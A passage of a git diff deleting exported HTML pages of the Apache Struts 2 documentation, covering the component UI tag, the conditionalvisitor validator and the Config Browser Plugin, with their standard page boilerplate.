-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Comparing Struts 1 and 2</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14048">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14048">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14048">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14048">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14048">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14048">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Feature </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Struts 1 </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Struts 2 </p></th></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Action classes </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Struts 1 requires Action classes to [...]
-
-
-<div class="confluence-information-macro confluence-information-macro-information"><p class="title">See Also</p><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<ul><li>Matt Raible wrote (mid 2005) an interesting whitepaper where he compared various web frameworks. You can view the PDF here:
-	<ul><li><a shape="rect" class="external-link" href="https://equinox.dev.java.net/framework-comparison/WebFrameworks.pdf" rel="nofollow">https://equinox.dev.java.net/framework-comparison/WebFrameworks.pdf</a></li><li><a shape="rect" class="external-link" href="http://www.virtuas.com/files/osl-jwf-01.pdf" rel="nofollow">http://www.virtuas.com/files/osl-jwf-01.pdf</a></li></ul>
-	</li></ul>
-</div></div>
-
-<h2 id="ComparingStruts1and2-Next:">Next: <a shape="rect" href="migration-strategies.html">Migration Strategies</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/component.html b/content/docs/component.html
deleted file mode 100644
index de011e1..0000000
--- a/content/docs/component.html
+++ /dev/null
@@ -1,252 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>component</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="component.html">component</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">component</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14033">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14033">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14033">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14033">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14033">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14033">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="component-Description">Description</h2>
-
-<p></p><p>
-Renders an custom UI widget using the specified templates. Additional objects can be passed in to the template
-using the param tags.
-</p>
-
-<p></p><p><b>Freemarker:</b></p>
-<pre>Objects provided can be retrieve from within the template via $parameters.<em>paramname</em>.</pre>
-
-<p></p><p><b>JSP:</b></p>
-<pre>Objects provided can be retrieve from within the template via &lt;s:property value="%{parameters.<em>paramname</em>}" /&gt;</pre>
-
-<p></p><p>
-In the bottom JSP and Velocity samples, two parameters are being passed in to the component. From within the
-component, they can be accessed as:
-</p>
-
-<p></p><p><b>Freemarker:</b></p>
-<pre>$parameters.get('key1') and $parameters.get('key2') or $parameters.key1 and $parameters.key2</pre>
-
-<p></p><p><b>JSP:</b></p>
-<pre>
-&lt;s:property value="%{parameters.key1}" /&gt; and &lt;s:property value="%{'parameters.key2'}" /&gt; or
-&lt;s:property value="%{parameters.get('key1')}" /&gt; and &lt;s:property value="%{parameters.get('key2')}" /&gt;
-</pre>
-
-<p></p><p>
-Currently, your custom UI components can be written in Velocity, JSP, or Freemarker, and the correct rendering
-engine will be found based on file extension.
-</p>
-
-<p></p><p>
-<b>Remember:</b> the value params will always be resolved against the ValueStack so if you mean to pass a
-string literal to your component, make sure to wrap it in single quotes i.e. value="'value1'" (note the opening "' and closing '" otherwise, the the value
-stack will search for an Object on the stack with a method of getValue1().
-</p>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-
-<p>If Jsp is used as the template, the jsp template itself must lie within the
-webapp itself and not the classpath. Unlike Freemarker or Velocity, JSP template
-could not be picked up from the classpath.</p>
-</div></div>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><p class="title">templateDir and theme attribute</p><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>The final path to the template will be built using the <em>templateDir</em> and <em>template</em> attributes, like ${templateDir}/${theme}/${template}. If for example your component is under /components/html/option.jsp, you would have to set templateDir="components", theme="html" and template="options.jsp". </p>
-
-<p>For any Struts tag that you use in your component, make sure that you set its templateDir="template"</p></div></div>
-
-<h2 id="component-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="component-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;p&gt;
-JSP
-&lt;/p&gt;
-&lt;pre&gt;
-    &lt;s:component template=&quot;/my/custom/component.vm&quot;/&gt;
-
-      or
-
-    &lt;s:component template=&quot;/my/custom/component.vm&quot;&gt;
-      &lt;s:param name=&quot;key1&quot; value=&quot;value1&quot;/&gt;
-      &lt;s:param name=&quot;key2&quot; value=&quot;value2&quot;/&gt;
-    &lt;/s:component&gt;
-&lt;/pre&gt;
-
-&lt;p&gt;
-Velocity
-&lt;/p&gt;
-&lt;pre&gt;
-    #s-component( &quot;template=/my/custom/component.vm&quot; )
-
-      or
-
-    #s-component( &quot;template=/my/custom/component.vm&quot; )
-      #s-param( &quot;name=key1&quot; &quot;value=value1&quot; )
-      #s-param( &quot;name=key2&quot; &quot;value=value2&quot; )
-    #end
-&lt;/pre&gt;
-
-&lt;p&gt;
-Freemarker
-&lt;/p&gt;
-&lt;pre&gt;
-   &lt;@s..component template=&quot;/my/custom/component.ftl&quot; /&gt;
-
-     or
-
-   &lt;@s..component template=&quot;/my/custom/component.ftl&quot;&gt;
-      &lt;@s..param name=&quot;key1&quot; value=&quot;%{&#39;value1&#39;}&quot; /&gt;
-      &lt;@s..param name=&quot;key2&quot; value=&quot;%{&#39;value2&#39;}&quot; /&gt;
-   &lt;/@s..component&gt;
-&lt;/pre&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/conditionalvisitor-validator.html b/content/docs/conditionalvisitor-validator.html
deleted file mode 100644
index 9c5d4f8..0000000
--- a/content/docs/conditionalvisitor-validator.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>conditionalvisitor validator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="conditionalvisitor-validator.html">conditionalvisitor validator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">conditionalvisitor validator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30748075">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=30748075">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30748075">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=30748075">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30748075">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=30748075">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="conditionalvisitorvalidator-Description">Description</h1>
-<p>The ConditionalVisitorFieldValidator will forward validation to the VisitorFieldValidator
-only if the expression will evaluate to true.</p>
-
-<h1 id="conditionalvisitorvalidator-Parameters">Parameters</h1>
-<p></p><ul><li>expression - an OGNL expression which should evaluate to true to pass validation to the VisitorFieldValidator</li></ul>
-
-<h1 id="conditionalvisitorvalidator-Examples">Examples</h1>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;field name=&quot;colleaguePosition&quot;&gt;
-    &lt;field-validator type=&quot;conditionalvisitor&quot;&gt;
-        &lt;param name=&quot;expression&quot;&gt;reason == &#39;colleague&#39; and colleaguePositionID == &#39;OTHER&#39;&lt;/param&gt;
-        &lt;message&gt;You must select reason Colleague and position Other&lt;/message&gt;
-    &lt;/field-validator&gt;
-&lt;/field&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/config-browser-plugin.data/config-browser-example.png b/content/docs/config-browser-plugin.data/config-browser-example.png
deleted file mode 100644
index 4e132ec..0000000
Binary files a/content/docs/config-browser-plugin.data/config-browser-example.png and /dev/null differ
diff --git a/content/docs/config-browser-plugin.html b/content/docs/config-browser-plugin.html
deleted file mode 100644
index 460f111..0000000
--- a/content/docs/config-browser-plugin.html
+++ /dev/null
@@ -1,162 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Config Browser Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="config-browser-plugin.html">Config Browser Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Config Browser Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=44185">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=44185">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=44185">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=44185">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=44185">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=44185">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The Config Browser Plugin is a simple tool to help view an application's configuration at runtime.  It is very useful when debugging problems that could be related to configuration issues.</p>
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>This plugin should be used only during development phase and access to it should be strictly restricted!</p></div></div>
-
-<h2 id="ConfigBrowserPlugin-Features">Features</h2>
-
-<ul><li>Browsable view of loaded configuration</li><li>Shows all accessible action URLs</li></ul>
-
-
-<h2 id="ConfigBrowserPlugin-Usage">Usage</h2>
-
-<p>To use the plugin, simply copy the jar into your application.  Once installed, you can access the tool by opening to the action named <em>index</em> in the <em>config-browser</em> namespace.</p>
-
-<p><img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/information.png" data-emoticon-name="information" alt="(info)"> In most cases (if you are using the default <a shape="rect" href="actionmapper.html">ActionMapper</a>), the URL is something like <a shape="rect" class="external-link" href="http://localhost:8080/starter/config-browser/index.action" rel="nofollow">http://local [...]
-
-<h3 id="ConfigBrowserPlugin-Example">Example</h3>
-
-<p><span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image confluence-content-image-border" src="config-browser-plugin.data/config-browser-example.png"></span></p>
-
-<h3 id="ConfigBrowserPlugin-Settings">Settings</h3>
-
-<p>This plugin provides no customizable settings.</p>
-
-<h3 id="ConfigBrowserPlugin-Installation">Installation</h3>
-
-<p>This plugin can be installed by copying the plugin jar into your application's <code>/WEB-INF/lib</code> directory.  No other files need to be copied or created.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/configuration-elements.html b/content/docs/configuration-elements.html
deleted file mode 100644
index 7466c56..0000000
--- a/content/docs/configuration-elements.html
+++ /dev/null
@@ -1,212 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
